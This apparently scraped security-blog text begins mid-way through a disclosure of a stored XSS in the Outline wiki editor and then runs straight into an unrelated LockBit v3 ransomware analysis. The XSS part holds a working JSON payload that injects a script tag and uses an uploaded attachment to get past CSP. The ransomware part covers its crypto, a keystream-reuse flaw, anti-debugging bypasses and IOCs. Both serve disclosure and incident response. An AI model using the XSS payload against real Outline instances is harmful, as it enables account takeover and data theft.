Sec-Ch-Ua-Platform: "Windows"
Origin: <https://docs.calif-pentest.com>
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

{
  "data": {
    "type": "doc",
    "content": [
      {
        "type": "paragraph",
        "content": [
          {
            "type": "mention",
            "attrs": {
              "type": "user",
              "modelId": "98e9c4e7-d4a7-48c9-98f4-f6c89183398f",
              "actorId": "98e9c4e7-d4a7-48c9-98f4-f6c89183398f",
              "id": "dcca1178-0858-48ca-a6e0-ce1dd47f2d61",
              "label": [
                "script",
                {
                  "src": "<https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b>"
                },
                "testxss"
              ]
            }
          },
          {
            "type": "text",
            "text": " a"
          }
        ]
      }
    ]
  },
  "id": "28d55628-5e58-4635-9b9c-e8aaeede4df3"
}

Instead of passing a string value for the label property, we passed an array:

[
 "script",
 {
   "src": "<https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b>"
 },
 "testxss"
]

Due to strict CSP rules, Outline does not load external JavaScript files. We can bypass this by attaching a JavaScript file into a document, and reference it via an attachment link like this:

https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b

Recommendations

We showed how to exploit a type confusion issue to mount a stored XSS attack in Outline. Due to the complexity of ProseMirror editors, we believe there might be other attacks. To mitigate our specific attack or XSS attacks in general, we recommend implementing the following mitigations.

Mitigate type confusion attacks

We recommend updating the toDOM functions to verify all node attributes. Most node attributes are strings, and should be verified as so.

Sandbox the editor

We recommend re-designing the editor to render content in sandboxed iframes. An editor usually supports a lot of content types, such as math, external embeds, code highlight, Mermaid diagram, etc. These content types pull in many external libraries, which significantly increases the attack surface. Sandboxing the editor should help reduce the impact of any vulnerabilities.

Allow developers to declare stricter schema rules

This recommendation is for ProseMirror maintainers. ProseMirror lacks strict schema declarations for node attributes, especially the attribute type. Editor developers might forget to validate node attributes by themselves. We recommend the ProseMirror team to:

• Provide a convenient way to declare allowed types of node attributes.

• Enforce a default string type for undeclared node attributes. 

Timeline 

• July 12 2024: We reported the issue to Outline.

• July 14 2024: Outline fixed the issue and contacted ProseMirror maintainers. ProseMirror updated a new version and published a security guide.

• July 16 2024: Outline released a new version and published an advisory.

In our last article, we recommended analyzing ransomware binaries as part of an effective ransomware response strategy:

“Analyzing binaries is hard. Analyzing obfuscated ransomware is even harder.

[...] However, it is worth investing in analyzing and understanding ransomware. Crypto breaking bugs may be rare, but they are not impossible to find. In addition, ransomware authors may not fully understand how to use crypto correctly. The only way to determine if it is possible to recover the data, if any, is the long and detailed ransomware analysis by an expert team.

[...] In addition, a successful analysis can help reassure you that there are no potential bugs in the encryption and decryption process. It also helps the technical team understand and potentially improve the recovery process. This is an investment that should be considered early on in an incident.”

In this article, we show some examples of crucial intelligence you can gain from a meticulous and accurate ransomware analysis. The target of this analysis is a variant of the LockBit v3 ransomware that we encountered in a recent engagement. This variant is also known as LockBit Black due to some code similarity with the BlackMatter family. These samples are built from the leaked LockBit v3 builder available on GitHub.

Calif discovered two issues in this version of the ransomware:

• a crypto bug that may allow for the decryption of a portion of the data without the private key, i.e., without paying the ransom.

• a design flaw that may cause data corruption and permanent data loss.

We decided to publish this analysis for the following reasons:

• The crypto bug is already known to the malware author. We have observed newer variants where we can no longer take advantage of this bug.

• We want to share our analysis and research to help other affected organizations prepare and respond to the same ransomware family, especially regarding the data corruption flaw.

• The LockBit v3 family contains interesting anti-analysis techniques and clever use of standard cryptographic algorithms that are not well documented. These technical details would be valuable for malware researchers and threat hunters.

We also publish an open-source decryptor for this variant. You can download the tool from GitHub.

Calif would like to extend a special thank you to Chuong Dong – a malware expert who has previous experience with this ransomware family. During the initial analysis, we requested Chuong’s assistance to swiftly comprehend the file encryption scheme. His help proved highly valuable as we managed to quickly reimplement the decryptor.

Note that the screenshots and code snippets within this article assume that the encryptor is loaded at address 0xFA0000 instead of the default ImageBase of 0x400000. The decryptor is loaded at the ImageBase of 0x400000. In addition, the ransomware has many anti-debugging and obfuscation mechanisms. To bypass these protections and reproduce this analysis, please refer to Appendix A: Reverse engineering detail.

Table of contents

Introduction

Encryption and decryption logic

• Encrypted file structure

• Footer structure

• Modified Salsa20

• RSA with no padding

• File encryption

• File decryption

Flaws

• Keystream reuse vulnerability

• Data corruption

Conclusion

Appendix A: Reverse engineering detail

Appendix B: Open-source decryption tool

Appendix C: Binary Information and Indicators of Compromise (IOCs)

Appendix D: IDC script to rename functions

Appendix E: Chunk counts and skip bytes

Encryption and decryption logic

The sample encrypts files using a combination of symmetric and asymmetric cryptography, as follows:

• Generate a 64-byte random key for each targeted file. We will refer to it as the file_encryption_key. We identify the encryption algorithm as a variant of Salsa20. Normally, Salsa20 uses a 32-byte key, but this variant uses 64-byte. Please refer to the Modified Salsa20 section for more details. Unless specified otherwise, all references to Salsa20 in this document refer to this modified version.

• Generate another 64-byte random Salsa20 key to encrypt the file_encryption_key. We will refer to this second key as the key_encryption_key. As an optimization to reduce the number of slow RSA encryption operations, the sample reuses this key for 1,000 files before generating a new one. This key reuse leads to a vulnerability described in the Keystream reuse vulnerability section.

• Encrypt the key_encryption_keys using RSA with no padding, using a 1024-bit public key embedded within. We describe this algorithm in the RSA with no padding section. Note that since 2015 NIST has recommended against using 1024-bit RSA keys.

Encrypted file structure

The sample processes targeted files the same way during encryption and decryption. It divides each file into chunks of 0x20000 bytes. The sample does not pad the file if the file size or the size of the last chunk is less than 0x20000 bytes.

Consecutive chunks form a group. There are three group types: before, skip, and after group. There is exactly one “before group” at the beginning of the file. The skip group and the after group follow the before group and repeat alternatively throughout the rest of the file.

The sample encrypts chunks of the before group and after groups using Salsa20. It leaves chunks in the skip group unencrypted. It determines the number of chunks in each group based on the file size. Please refer to Appendix E for more details.

An encrypted file ends with a footer containing information about the file such as the file’s original name, number of chunks in each group, etc, including the file_encryption_key to decrypt the file data. The sample encrypts this footer, and appends it to the file after the encryption finishes. For a detailed description of the footer structure, refer to the next section.

The overall structure of an encrypted file can be visualized as follows:

Footer structure

We reconstruct the overall structure of the footer in the C snippet below:

struct file_encryption_info
{
  char filename[file_encryption_info.filename_size]; // apLib compressed
  uint16_t filename_size;
  LARGE_INTEGER skipped_bytes;
  int before_chunk_count;
  int after_chunk_count;
  uint8_t file_encryption_key[0x40];
};

struct key_encryption_info
{
  uint16_t file_encryption_info_length;  // necessary because filename is dynamically sized
  int checksum;
  union
 {
    struct
    {
        uint8_t key_encryption_key[0x40];
        uint8_t checksum[0x40];
    } decrypted;
    uint8_t encrypted_key_encryption_key[0x80];  // RSA encrypted
 } key_blob;
};

struct footer
{
  struct file_encryption_info file_encryption_info;  // Salsa20 encrypted
  struct key_encryption_info key_encryption_info;
};

The file_encryption_info contains a randomly generated key to decrypt the file content. The file_encryption_info is encrypted using Salsa20. The key to decrypt the file_encryption_info is stored in the encrypted_key_encryption_key field of the key_encryption_info structure. This field, in turn, is encrypted using the RSA public key embedded in the ransomware.

The decryptor contains an embedded private key, and works as follows:

1. Read the key_encryption_info structure at offset 0x86 bytes from the end of the file.

2. Hash the encrypted_key_encryption_key field and verify it against the checksum field as seen here.

3. Decrypt the encrypted_key_encryption_key using the embedded private RSA key then validate the key_encryption_key with the decrypted.checksum field.

4. Calculate the start of the file_encryption_info structure using the file_encryption_info_length field.

5. Use the key_encryption_key to decrypt the file_encryption_info structure using the modified Salsa20 algorithm. This structure contains the Salsa20 file_encryption_key that can be used to decrypt the chunks in the before group and after group.

Modified Salsa20

The sample encrypts the file_encryption_info structure and the chunks using Salsa20 at address 0x00FA20AC.

Salsa20 has a 64-byte state that is used to generate a key stream to encrypt the plaintext one 64-byte block at a time. In the vanilla Salsa20 standard, the initial 64-byte state consists of a 32-byte key, an 8-byte block counter, an 8-byte nonce, and a 16-byte constant that spell “expand 32-byte k” in ASCII.

However, in this variant, the entire initial state is filled with random values. The aforementioned file_encryption_key and key_encryption_key are the initial states of the file encryption and key encryption processes respectively.

This finding shows that LockBit v3 is indeed a successor of BlackMatter, which in turn came from the Darkside ransomware family. Chuong’s analysis of Darkside shows that it also fills the Salsa20’s initial state, which Chuong called the matrix, with random values.

RSA with no padding

This sample encrypts key_encryption_info.key_encryption_key and key_encryption_info.checksum, using a custom implementation of the RSA algorithm at address 0x00FA17B4.

Recall that an RSA public key consists of two components:

• The modulus N.

• The public exponent e.

To encrypt a message m using RSA with no padding, you compute m^e (mod N). This encryption mode, which is known as textbook RSA, has many potential footguns. For example, it’s possible to recover small messages. Therefore, m is usually padded with PKCS v1.5 or OAEP padding schemes.

However, the sample uses no padding. We can’t find any obvious issues, because the sample only encrypts messages that have the same size as the modulus. In particular, it uses a 1024-bit key to encrypt key_encryption_info.key_encryption_key and key_encryption_info.checksum, which in total are also 1024 bits long.

File encryption

Before encrypting any files, the sample parses its embedded configuration at address  0x00FC600C. This data are encrypted by the function at 0x00FA6F48 and contain information such as configuration flags, file hashes to avoid, ransom note, and the RSA public key used to encrypt the randomly generated key_encryption_info.key_encryption_key.

After decrypting its configurations, the sample parses its command line arguments and enumerates target paths to encrypt files. The sample operates slightly differently depending on the command line argument. However, the file encryption logic is similar across different execution flows. The sample creates one thread for traversing and queueing files to be encrypted and multiple threads to actually encrypt the files. The threads communicate asynchronously with each other using an IO completion port.

At a high-level, the encryption threads work as follows:

• The file traversal and queueing logic starts at 0x00FAF308.

• It drops a ransom note in the current directory.

• For each file in the current target directory, it verifies the filename against the lists of hashes to avoid. If the current filename doesn’t belong to any of the lists, it renames the current file and adds a unique extension. In our variant, the extension is .IzYqBW5pa.

• It increases various counters, including a counter for the number of files using the current key_encryption_key. This key is randomly generated and reused once every 1,000 files. Once this counter reaches 1,000, the sample resets it back to 0 and generates a new key_encryption_key. This design introduces a bug that allows for the decryption without paying the ransom. This bug is described in detail in the Key stream reuse vulnerability section.

• It fills out and sets up the key_encryption_info structure for the current file. The logic to set the before_chunk_count, skipped_bytes, and after_chunk_count is at address 0x00FAE8AC. These values are determined based on the current file size. Refer to Appendix E for the exact values of each field based on the current file size.

• The file encryption thread logic starts at address 0x00FADE78. This function simply determines if it needs to encrypt the current chunk depending on the file_encryption_info structure. It uses a randomly generated key stored at file_encryption_info.file_encryption_key to encrypt each chunk using Salsa20. Finally, when the entire file is processed, it writes the footer structure to the end of the file.

File decryption

The decryptor binary LB3Decryptor.exe is not obfuscated and can be quickly analyzed statically.

Similar to the encryptor, the decryptor parses its command line arguments and enumerates paths to decrypt files. The sample also creates multiple threads for decrypting and one for traversing and queueing files. These threads communicate asynchronously with each other using an IO completion port.

At a high-level, the decryption threads work as follows:

• The file traversal and queueing logic starts at 0x00403CEC. For each file, it decrypts the key_encryption_info (see Footer structure) at address 0x00403960. Then, it obtains the file_encryption_key and the chunk counts before queueing the file.

• The file decryption thread logic starts at 0x004030DC. It decrypts the chunks selected by the grouping algorithm using the file_encryption_key. Finally, when the entire file is processed, it removes the encrypted footer structure at the end of the file.

Flaws

Keystream reuse vulnerability

This version of the LockBit v3 ransomware has a keystream reuse vulnerability.

Instead of directly encrypting the file_encryption_info structure with RSA, the sample aims to reduce the number of slow RSA operations by adding another layer of Salsa20 encryption. This is where it makes a mistake that may allow the recovery of a portion of the data.

The sample generates a random Salsa20 key_encryption_key  to encrypt the file_encryption_info structure once every 1,000 files as seen below:

Therefore, the Salsa20 algorithm would generate the same key stream for 1,000 files from the same key. Within these 1,000 files, if there is a file with a sufficiently long compressed filename, we can recover enough of the keystream to decrypt the file_encryption_info structure of other files with a much shorter compressed filename. This file_encryption_info structure contains the file_encryption_key to decrypt the file content. In other words, if we happen to have a file with a sufficiently long compressed filename, chances are we can recover the content of other files with shorter compressed filenames without the private key from the threat actor, i.e., without paying the ransom.

For example, we created two short text files for our test case:

• a.txt, whose compressed filename is:  61 e0 2e e0 74 e0 78 db 09 02 00 00

• aABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{}~123456789.txt, whose compressed filename is shown below:

  

   The content of the encrypted file with the longer file name is shown here:

Because we know the current filename, we can compute the plaintext compressed filename. XOR-ing the encrypted compressed filename with the plaintext compressed filename gives us the following keystream:

The content of the encrypted a.txt is shown below with similar color-coded fields:

XOR-ing the entire file_encryption_info block, starting at offset  0x0e to offset 0x6c with the keystream above would give us the following bytes:

The recovered file_encryption_info fields are:

• Compressed filename: 61 e0 2e e0 74 e0 78 db 09 02 00 00 (compressed a.txt)

• filename_size: 0c 00 (0x0c)

• skipped_bytes: 00 00 52 00 00 00 00 00 (0x520000 in little-endian)

• before_chunk_count: 03 00 00 00 (0x03 in little-endian)

• after_chunk_count: 03 00 00 00 (0x03 in little-endian)

• file_encryption_key:

The recovered file_encryption_info structure allows us to decrypt the entire file following the decryption scheme described above.

Data corruption

This version of the LockBit v3 ransomware has a design flaw that can cause permanent data loss. LockBit v3 has a mutex checking mechanism to ensure only one instance of itself is running on the infected system:

However, this feature can be configured at build time and is disabled in our sample. The flag at byte_FC5129 is part of the sample’s encrypted settings configured by the TA and set by the builder. When this feature is disabled, multiple instances of the ransomware can run on the infected system at one time.

The sample needs to process each file with exclusive access to the encryption logic. To do that, it attempts to terminate other processes that prevent exclusive access to the file. The sample uses the restart manager family of APIs (RmStartSession(), RmRegisterResource(), RmGetList()) to get a list of processes with open handles to the file being encrypted. It then terminates all of those processes.

This design can cause permanent data corruption because of the following reasons:

• With multiple instances of the same ransomware running on the same system, one instance can attempt to terminate the other instance that is encrypting the same file. In this case, the randomly generated file_encryption_key from the 1st instance can not be recovered. The file is permanently corrupted. We can detect the corruption by observing files with multiple extra extensions, signaling that the files were encrypted multiple times. Each instance of the ransomware can have multiple encryption threads running parallel, each of which encrypts one file at a time. Since the number of concurrent threads is quite low, the number of files being affected in this case can potentially be low.

• The sample may attempt to terminate another process that is currently writing and modifying the current file. This may cause data corruption depending on how the affected process is designed. We can not easily detect this case. However, the number of files being affected can be very high depending on the services running on the infected system and their utilization. Calif has observed files that are properly decrypted but are corrupted and not recognized by their associated applications.

Conclusion

Analyzing the ransomware could provide critical intelligence when evaluating response strategies to ransomware attacks. In this case, Calif observed flaws in the ransomware design that allowed affected organizations to reconsider the true value of the ransom demand. We hope our analysis helps demystify the inner workings of one ransomware variant. We also hope to encourage more sharing of technical analysis, curated intelligence, and valuable lessons across organizations. Security demands collaboration as no organizations operate in a vacuum. The more secure our peers, the safer we are against cyber criminals.

Appendix A: Reverse engineering detail

Anti-debugging

Typically, malware does not want to be analyzed. With a debugger, we can easily control the malware’s execution, dump data, or force the malware to execute a specific code path. Therefore, malware usually contains multiple anti-debugging checks. We found multiple said checks in this sample.

The first check occurs at 0x00FA63C5 (offset 0x57C5 into the file) as seen below:

After manually resolving some Windows Application Programming Interfaces (APIs), the sample calls the RtlCreateHeap() function to create a new heap. The result is a HANDLE to a window HEAP structure provided by the operating system for the current process. This HEAP structure is undocumented by Microsoft. To better understand this structure, refer to other online resources regarding the Windows HEAP. Significant to anti-debugging mechanisms, the HEAP structure contains two flags: Flag and ForceFlag. These values change depending on whether the current process is running under a debugger.

In the screenshot above, the sample checks the Flag field, which is at offset 0x40 byte into the undocumented HEAP structure. The value of this Flag field is 0x40041062 as shown in the screenshot below:

The sample gets the most significant 4 bits of the flag by rotating the Flag field 28 (0x1c) bits to the right, and tests the result against 0x04. This effectively tests the most significant byte of the Flag field against 0x40000000 (HEAP_VALIDATE_PARAMETER_ENABLED) which is set if the current process is running under a debugger.

If the sample detects a debugger, it modifies the HANDLE to the current process’s heap using the rol operation. This causes the process to crash if it ever tries to allocate any memory using the modified heap HANDLE in the future.

A similar check of the heap’s ForceFlag field is shown below:

In the screenshot above, the sample finds the heap using the current process’s Process Environment Block (PEB). Then, it tests the ForceFlag field, which is at offset 0x44, against 0x40000000 to detect a debugger.

These checks are scattered around the sample’s logic near any heap operation. The easiest way to bypass these anti-debugging checks is to modify the process heap structures directly and reset both the Flag and ForceFlag fields’ most significant byte to 0x00.

This sample also contains the following additional anti-debugging features:

• Checking beyond the bound of the allocated heap memory against magic constants like 0xABABABAB. These magic constants come from a Windows feature that adds additional guardrails to heap memory to quickly detect memory corruption bugs. This feature is only enabled if the current process is running under a debugger. This check can also be bypassed by modifying the Flag and ForceFlag fields of the heap.

• Calling NtProtectVirtualMemory() and RtlEncryptMemory() to encrypt the DbgUiRemoteBreakin() function. This causes the current process to crash if there is any attempt to attach a debugger afterwards. This does not have any effect if we start executing the sample using the debugger.

• Calling NtSetInformationThread() with ThreadHideFromDebugger (0x11) for the current thread. This call only happens a few times at the beginning of the execution flow. A quick way to bypass this is patching the function to simply return NT_SUCCESS (0x00).

Obfuscation

Manual API resolution

To avoid leaking capabilities and being tracked using the import hash, this sample manually resolves Windows APIs using the PEB.

The PEB contains all the properties of its associated process, including a list of loaded DLLs. The sample can walk this list of DLLs and their export tables to manually find addresses of the necessary Windows APIs. To further avoid leaking strings,  the sample manually resolves Windows APIs using a hashing algorithm shown below:

The sample applies the hashing algorithm above on the DLLs and their export names to find a match instead of comparing strings normally. However, in addition to the “Addition-Rotate Right 13” operation, the sample also XORs the result with the 0x10035FFF constant. This results in a set of API hashes that are different from other malware families using a similar technique.

Trampoline code

The sample doesn’t use the resolved APIs directly. Instead, for each API, it allocates a small memory chunk and builds a small piece of trampoline code which calculates and jumps to the target API.

For example, instead of executing a standard indirect call to NtOpenProcess() as an import, the sample calls to a pointer at address 0x00fc5474, which points to a function at address 0x00330bc8 on the heap. This function is shown below:

After the rol operation, eax becomes 0x7743FC50, which is the address of ntdll!NtOpenProcess(). This makes static analysis significantly more tedious. We would have a hard time tracking all the calls to the trampoline code.

Because we can bypass the anti-debugging checks, we can use a debugger to help us automate the renaming of the trampoline calls. The logic to resolve APIs and setup the trampoline code is at 0x00FA5dA0. Using the IDA Free debugger, we can set a breakpoint at 0x00FA5DDB, which is the instruction right after the call to manually resolve Windows APIs. Then, we can edit the breakpoint to execute the following one-liner:

fprintf(fopen("out.txt", "a+"),
        "%s\n",
        sprintf("%a -- %s",
                GetRegValue("edi"),
                get_name(GetRegValue("eax"))
        )
)

This small snippet tells the IDA Free debugger to log the following items to the file “out.txt” in the current working directory:

• The current value of the edi register. This is the address of the trampoline code. In our example, this would be 0x00FA5dA0.

• The name of the value in the eax register. The eax register holds the address of the resolved API. In our example, eax would be 0x7743FC50. Within the current process context, this is the address of ntdll!NtOpenProcess().

Once the breakpoint is ready, we can let the sample execute through all the API resolution logic. At the end, we should see the out.txt file that looks similar to this:

After the sample finishes resolving all the APIs, we can dump the current process including all of its allocated memory for further analysis. Then, we can write a small IDA script to parse out.txt and rename all the trampoline calls to the appropriate APIs. This will help speed up our static analysis significantly. An example of such a script is available in Appendix D.

Appendix B: Open-source decryption tool

The leaked LockBit v3 builder generated the encryptor and decryptor for Windows. Although the decryptor can run on Linux using Wine, Calif decided to re-implement the decryption logic in C for the following reasons:

• We want to run the decryptor natively on VMWARE ESXi.

• We want to confirm our understanding of the encryption scheme.

• We want to avoid executing the malware author’s decryptor which may contain other data corruption bugs.

• Other affected organizations may also find our decryptor useful.

This section describes how we build a decryption tool for Linux. The tool is open-source and can be downloaded from GitHub.

Extracting the decryption function

Calif identified the two crypto functions to be Salsa20 (0x00FA20AC) and RSA with no padding (0x00FA17B4). Initially, instead of fully reverse-engineering these functions, we take the code directly from the binary and run it as shellcode inside a C wrapper. Calif’s decisions were based on the following reasons:

• It would take us too long to fully analyze and confirm the algorithms.

• The sample uses a custom implementation of the two algorithms. Therefore, re-implementation or using a standard library may introduce discrepancies and bugs.

We extract the following items directly from the ransomware into shellcode that we can call using our wrapper:

• The Salsa20 encryption function and related functions

• The Raw RSA function and related functions

• The checksum calculation algorithm

• The APLib compression function and related functions

When preparing these functions, we also fix any absolute address references so we can call them correctly in our wrapper without causing a crash.

Implementation

The sample is compiled for a 32-bit Windows environment. To get the shellcode to run correctly, we also need to compile our code for this environment. By default, GCC would default to the cdecl calling convention, but Windows uses stdcall. We fix that by adding the attribute (__attribute__((stdcall)).

The data section of an executable is marked as non-executable, therefore we can not execute the shellcode directly from there. Instead, we allocate new memory pages with executable permission and copy the shellcode over.

Appendix C: Binary Information and Indicators of Compromise (IOCs)

The following IOCs come from our specific build of this variant of LockBit v3. Here are the components that may be different across different builds:

• The unique ID for this build: IzYqBW5pa.

• File hashes other than the hash of the icon and desktop background.

Binary information

• Filename: LB3.exe

  • File type: Windows Portable Executable (PE) x86

  • File size: 156,160

  • SHA256 hash: f34dd8449b9b03fedde335f8be51bdc7f96cda29a2dde176c3db667ba0713c6f

• Filename: LB3Decryptor.exe

  • File type: Windows Portable Executable (PE) x86

  • File size: 33,280

  • SHA256 hash: 8f0a2d5b47441fbcf1882aa41cae22fd0db057ccc38abad87ccc28813df3a83c

Indicators of Compromise

Host-based indicators (HBIs)

• Volatile:

  • When configured, the sample creates the following mutex: Global\a91a66d6abc26041b701bf8da3de4d0f where a91a66d6abc26041b701bf8da3de4d0f is calculated from the embedded RSA private key

• Files

  • Filename: C:\ProgramData\IzYqBW5pa.ico where IzYqBW5pa is the unique ID for this specific variant.

  • File type: ICO

  • File size: 15,086

  • SHA256 hash: 95e059ef72686460884b9aea5c292c22917f75d56fe737d43be440f82034f438

• Filename: C:\ProgramData\IzYqBW5pa.bmp.

  • File type: BMP

  • File size: 86,708

  • SHA256 hash: ef66e202c7a1f2a9bc27ae2f5abe3fd6e9e6f1bdd9d178ab510d1c02a1db9e4f

• Filename: IzYqBW5pa.README.txt.

  • File type: TXT

  • File size: 6,197

  • SHA256 hash: af23f7d2cf9a263802a25246e2d45eaf4a4f8370e1b6115e79b9e1e13bf20bfe

• Registry:

  • Path: HKEY_CLASSES_ROOT\.IzYqBW5pa\DefaultIcon

  • Value: C:\ProgramData\IzYqBW5pa.ico

Network-based indicators (NBIs):

• When configured, the sample communicates with the configured C2 server using HTTP Protocol POST method. This specific variant is not configured with a C2 server.

• When communicating with the C2 server, the sample uses the following User-Agent string: Chrome/91.0.4472.77.

• Communication with the C2 server is encrypted using the AES algorithm. This specific variant is not configured to communicate with the C2 server. Therefore, it also does not contain the AES key.

Appendix D: IDC script to rename functions

#include <idc.idc>

static process(line) {
    // example line: .data:00FC5410 -- ntdll_RtlCreateHeap
    auto idx = strstr(line, " -- ");

    // saddr: .data:00FC5410
    auto saddr = substr(line, 0, idx);

    // name: ntdll_RtlCreateHeap
    auto name = substr(line, idx + 1, -1);

    // old saddr: .data:00FC5410
    // new saddr: 00FC5410 as a string
    // addr     : 0x00FC5410
    auto _idx = strstr(saddr, ":");
    saddr = substr(saddr, _idx + 1, -1);
    auto addr = xtol(saddr);

    // old name: ntdll_RtlCreateHeap
    // new name: RtlCreateHeap
    _idx = strstr(name, "_");
    name = substr(name, _idx + 1, -1);

    auto len = strlen(name);
    // NULL terminate the last byte
    name[len-1] = '\0';

    Message("Addr: 0x%x, name: %s\n", addr, name);
    set_name(addr, name, SN_NOCHECK|SN_FORCE);
}


static load_file() {
    auto fd = fopen("out.txt", "r");
    auto line = readstr(fd);
    while (value_is_string(line)) {
        process(line);
        line = readstr(fd);
    }
    fclose(fd);
    return 0;
}


static main() {
    load_file();
}

Appendix E: Chunk counts and skip bytes

Grouping algorithm

Each chunk of the file belongs to one of the three groups (before group, skip group, after group). But for the sake of simplicity, let’s only consider the state of each chunk: encrypted (before group or after group), or unencrypted (skip group).

To determine if a chunk needs encrypting or decrypting, we can use the following algorithm:

chunk_state = ''
# first 'before_chunk_count' chunks belong to before group and are encrypted
crypt_chunk_count = before_chunk_count
skip_chunk_count = (skipped_bytes / 0x20000) -1
skip_count = skip_chunk_count

for chunk in chunks:
	if (crypt_chunk_count):
		chunk_state = "en(de)crypt"
		crypt_chunk_count = crypt_chunk_count - 1
	else:
		chunk_state = "skip" # belongs to a skip group
		skip_count = skip_count - 1
		if (skip_count == 0):
			crypt_chunk_count = after_chunk_count

The decrypted file_encryption_info contains the value for before_chunk_count, after_chunk_count and skipped_bytes. To see how and where they are generated, refer to the File encryption section. The sample determines the chunk count based on the file size as described in the following table: